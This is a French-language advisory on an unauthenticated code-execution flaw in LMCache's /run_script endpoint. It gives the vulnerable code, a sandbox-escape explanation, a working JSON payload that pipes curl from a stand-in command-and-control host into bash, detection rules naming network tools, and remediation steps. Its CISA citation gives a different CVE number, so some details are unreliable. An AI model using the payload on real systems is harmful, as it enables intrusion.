CVE-2026-107204 : exécution de code à distance non authentifiée sur le magasin de KV cache LMCache via le Point d'accès /run_script
SCORE DE MENACE HERMES & ÉVALUATION D'INFRASTRUCTURE AGENTIQUE
Cible :Magasin de KV cache distribué LMCache — Serveur d'API interne et HTTP multiprocessus (run_script_api.py) Les métriques CVSS v3.1 (9.8 Critique) et CVSS v4.0 (9.3 Critique) évaluent cette vulnérabilité comme une exécution de code à distance non authentifiée à travers le réseau. Le score de menace Hermes évalue la vulnérabilité à 95 (CRITIQUE) avec un score de sécurité agentique (HASS) de 98 (CRITIQUE). LMCache constitue l'infrastructure d'accélération de cache Key-Value (KV) distribué pour les grappes d'inférence LLM désagrégées exécutant vLLM, Mooncake et SGLang. La faille réside dans un point d'accès /run_script non protégé exposé sur les serveurs HTTP internes et multiprocessus. Si les développeurs ont tenté d'isoler l'exécution en restreignant l'espace de noms global, l'injection de l'instance d'application FastAPI permet à un attaquant de parcourir les attributs d'objets, de restaurer __builtins__, d'importer le module os et d'exécuter des commandes système arbitraires. Au-delà de la compromission de l'hôte, cela confère à un attaquant distant le contrôle direct de la mémoire contextuelle multi-utilisateurs des LLM, permettant l'altération invisible des tenseurs d'attention (MITRE ATLAS AML.T0043) et le vol d'invites entre sessions.
CVE-2026-107204: LMCache Distributed KVCache Store Unauthenticated Remote Code Execution via /run_script EndpointVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in LMCache Distributed KVCache Store documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique et matrice d’architecture affectée
Section intitulée « 1. Contexte technique et matrice d’architecture affectée »LMCache orchestre la mise en commun hiérarchique de la mémoire de cache KV entre la mémoire à haute bande passante des GPU (HBM), la mémoire vive (DRAM), les volumes NVMe locaux et les magasins réseau. Il expose des interfaces de communication multiprocessus et des microservices FastAPI pour assurer la synchronisation entre processus de calcul et nœuds de cache distants.
| Paramètre | Spécification technique | Détails opérationnels |
|---|---|---|
| Identifiant CVE | CVE-2026-107204 | Référence du catalogue international des vulnérabilités |
| Plateforme logicielle | Magasin de KV cache distribué LMCache | Moteur d’accélération de mémoire de cache pour inférence LLM |
| Composants vulnérables | lmcache/v1/internal_api_server/common/run_script_api.py / lmcache/v1/multiprocess/http_apis/common_api.py | Gestionnaires de routes FastAPI pour /run_script |
| Classe de vulnérabilité | CWE-306 / CWE-94 / CWE-78 | Absence d’authentification / exécution arbitraire de code |
| Vecteur d’attaque | Réseau (Port 8000/tcp, Port 65432/tcp) | Requête HTTP POST non authentifiée avec charge utile JSON |
| Version corrective | LMCache v0.5.6 | Suppression du point d’accès de débogage et validation de jetons |
[ Attaquant distant non authentifié ] | Requête HTTP POST /run_script vers le port d'API LMCache Charge utile : code Python exploitant la réflexion FastAPI | v +----------------------------------------------------+ | API HTTP interne LMCache (Routeur FastAPI) | | 0.0.0.0:8000 / 0.0.0.0:65432 sans contrôle | +----------------------------------------------------+ | exec(script, {"app": app, "__builtins__": {}}) | v +----------------------------------------------------+ | Évasion du bac à sable via l'objet app | | app.__class__.__bases__[0].__subclasses__() | | ou app.extra['__builtins__'] -> import os | +----------------------------------------------------+ | v +----------------------------------------------------+ | Exécution de commandes système arbitraires | | Privilèges : démon du serveur d'inférence | +----------------------------------------------------+ / | \ v v v [ Altération KV cache ] [ Vol d'invites ] [ Prise de contrôle GPU ] Tenseurs corrompus AML.T0043 Fuite mémoire multi-tenant Évasion de conteneur2. Analyse de cause racine et anatomie du code vulnérable
Section intitulée « 2. Analyse de cause racine et anatomie du code vulnérable »La cause racine se situe dans deux modules de gestion d’API interconnectés : lmcache/v1/internal_api_server/common/run_script_api.py et lmcache/v1/multiprocess/http_apis/common_api.py.
Les développeurs ont mis en place un mécanisme d’exécution dynamique de scripts pour faciliter le diagnostic et la collecte de télémétrie. La route a été définie sans aucune dépendance d’authentification ni vérification de jeton d’API :
# Extrait vulnérable de lmcache/v1/internal_api_server/common/run_script_api.pyfrom fastapi import APIRouter, Request, HTTPExceptionfrom pydantic import BaseModel
router = APIRouter()
class ScriptRequest(BaseModel): script: str
@router.post("/run_script")async def run_script(request: Request, body: ScriptRequest): # DÉFAUT CRITIQUE 1 : absence d'authentification, de jeton ou de mTLS app = request.app
# Tentative erronée d'isolation : # Écrasement de __builtins__ par un dictionnaire vide execution_context = { "app": app, "__builtins__": {} # Censé empêcher l'usage de __import__ }
try: # DÉFAUT CRITIQUE 2 : appel direct à exec() sur une chaîne externe exec(body.script, execution_context) return {"status": "success"} except Exception as e: raise HTTPException(status_code=500, detail=str(e))Mécanisme d’évasion du bac à sable
Section intitulée « Mécanisme d’évasion du bac à sable »L’auteur a cherché à bloquer les fonctions dangereuses comme __import__, open() et eval() en fixant "__builtins__": {}. Cependant, la transmission de l’instance vivante app dans le dictionnaire d’exécution annule totalement cette restriction :
- Parcours de la hiérarchie d’objets : en Python, toute instance de classe maintient des références vers sa classe (
__class__), ses classes parentes (__bases__) et l’espace de noms global de son module (__init__.__globals__). - Accès aux variables globales des modules : en interrogeant
app.router.__class__.__init__.__globals__, l’attaquant accède directement aux modulessysetbuiltinschargés par FastAPI. - Restauration de
__import__: par ce chemin, l’attaquant récupère la fonction nativebuiltins.__import__et importeosousubprocess, obtenant une exécution complète de commandes système.
3. Chaîne d’armement et vecteurs d’attaque
Section intitulée « 3. Chaîne d’armement et vecteurs d’attaque »Les attaquants militarisent la CVE-2026-107204 selon une séquence d’exploitation directe :
[Reconnaissance] ──> [Génération de charge] ──> [Requête HTTP POST] ──> [Évasion bac à sable] ──> [Prise de contrôle]Scan port 8000/tcp Réflexion FastAPI /run_script os.system('id') Shell inverse etShodan / Masscan Restauration builtins Non authentifié Démon d'inférence corruption de cacheDémonstration de charge utile
Section intitulée « Démonstration de charge utile »Un attaquant transmet une charge JSON vers le port non authentifié :
POST /run_script HTTP/1.1Host: inference-node-04.cluster.internal:8000Content-Type: application/jsonContent-Length: 268
{ "script": "builtins = [c for c in app.router.__class__.__init__.__globals__.values() if hasattr(c, '__import__') or (isinstance(c, dict) and '__builtins__' in c)][0]\nos = builtins['__import__']('os')\nos.system('curl -s https://c2.attacker.org/beacon | bash')"}Dès réception, le processus LMCache exécute le script de manière synchrone. Étant donné que les démons d’inférence s’exécutent fréquemment avec des privilèges de conteneur élevés (tels que --ipc=host, --gpus all ou le partage de mémoire pour les transferts RDMA), l’attaquant peut explorer la mémoire des conteneurs voisins et manipuler le matériel d’accélération GPU.
4. Triage forensique et investigation de menaces
Section intitulée « 4. Triage forensique et investigation de menaces »Les équipes de détection et de réponse à incident (DFIR) chargées d’investiguer l’exploitation potentielle de la CVE-2026-107204 doivent inspecter les journaux HTTP, la télémétrie d’exécution de processus et les flux réseau internes.
title: Appel suspect du point d'accès d'exécution de script LMCacheid: 8c1d5f30-e340-4b21-9961-fa89b3f72a04status: experimentaldescription: Détecte les requêtes HTTP POST ciblant le point d'accès /run_script de LMCache signalant une tentative d'exploitation de la CVE-2026-107204.author: Hermes Codex Cyber Threat Intelligencedate: 2026-10-08logsource: category: webserver product: ingress_controller / envoy / nginx / uvicorndetection: selection_path: cs-method: 'POST' cs-uri-stem|endswith: '/run_script' selection_payload: cs-uri-query|contains: - '__globals__' - '__builtins__' - '__subclasses__' condition: selection_path or selection_payloadfields: - c-ip - cs-method - cs-uri-stem - sc-statusfalsepositives: - Scripts de maintenance internes autorisés dans des grappes de test isolées (très rare)level: criticaltags: - attack.execution - attack.t1059.006 - cve.cve-2026-107204// Requête Azure Monitor / Microsoft Sentinel// Détecte les processus enfants anormaux engendrés par les démons d'inférence Python/UvicornDeviceProcessEvents| where InitiatingProcessFileName in~ ("python", "python3", "uvicorn", "gunicorn")| where ProcessCommandLine has_any ("sh", "bash", "curl", "wget", "nc", "socat", "id", "whoami")| where InitiatingProcessCommandLine has_any ("lmcache", "vllm", "mooncake_store")| project TimeGenerated, DeviceName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName| order by TimeGenerated descindex=web sourcetype=access_combined uri_path="*/run_script" method=POST| stats count, earliest(_time) as first_seen, latest(_time) as last_seen by src_ip, dest_ip, status, uri_path| where count > 0| sort - count#!/usr/bin/env bash# Inspection forensique des processus LMCache et des connexions suspectesecho "[*] Vérification des ports d'écoute associés aux processus LMCache..."ss -tulpn | grep -E 'python.*(8000|65432)'
echo "[*] Recherche d'invocations de /run_script dans les journaux..."grep -Ern 'POST /run_script' /var/log/ /data/logs/ /tmp/ 2>/dev/null || true
echo "[*] Vérification de la version installée de LMCache..."python3 -c "import lmcache; print('Version LMCache :', getattr(lmcache, '__version__', 'inconnue'))"5. Stratégie de remédiation et durcissement
Section intitulée « 5. Stratégie de remédiation et durcissement »-
Mettre à niveau LMCache : déployer sans délai la version
0.5.6ou supérieure de LMCache sur l’ensemble des nœuds d’inférence et des manifestes Kubernetes :Fenêtre de terminal pip install --upgrade "lmcache>=0.5.6" -
Désactiver les points d’accès de débogage : dans la version
0.5.6, la route/run_scripta été définitivement supprimée du routeur d’API de production. En cas de délai de déploiement, bloquer immédiatement l’accès au chemin au niveau du mandataire inverse :# Directive de blocage Nginxlocation /run_script {return 403 "Forbidden";} -
Isolation réseau et écoute sur l’interface locale : veiller à ce que les services de coordination de LMCache n’écoutent que sur l’interface locale (
127.0.0.1) ou sur des réseaux privés de pods Kubernetes isolés par des NetworkPolicies, empêchant tout accès direct depuis des réseaux non fiables. -
Restriction des privilèges de conteneur : exécuter les conteneurs d’inférence sans capacités Linux superflues et imposer une exécution sous un identifiant non root (
securityContext.runAsNonRoot: true).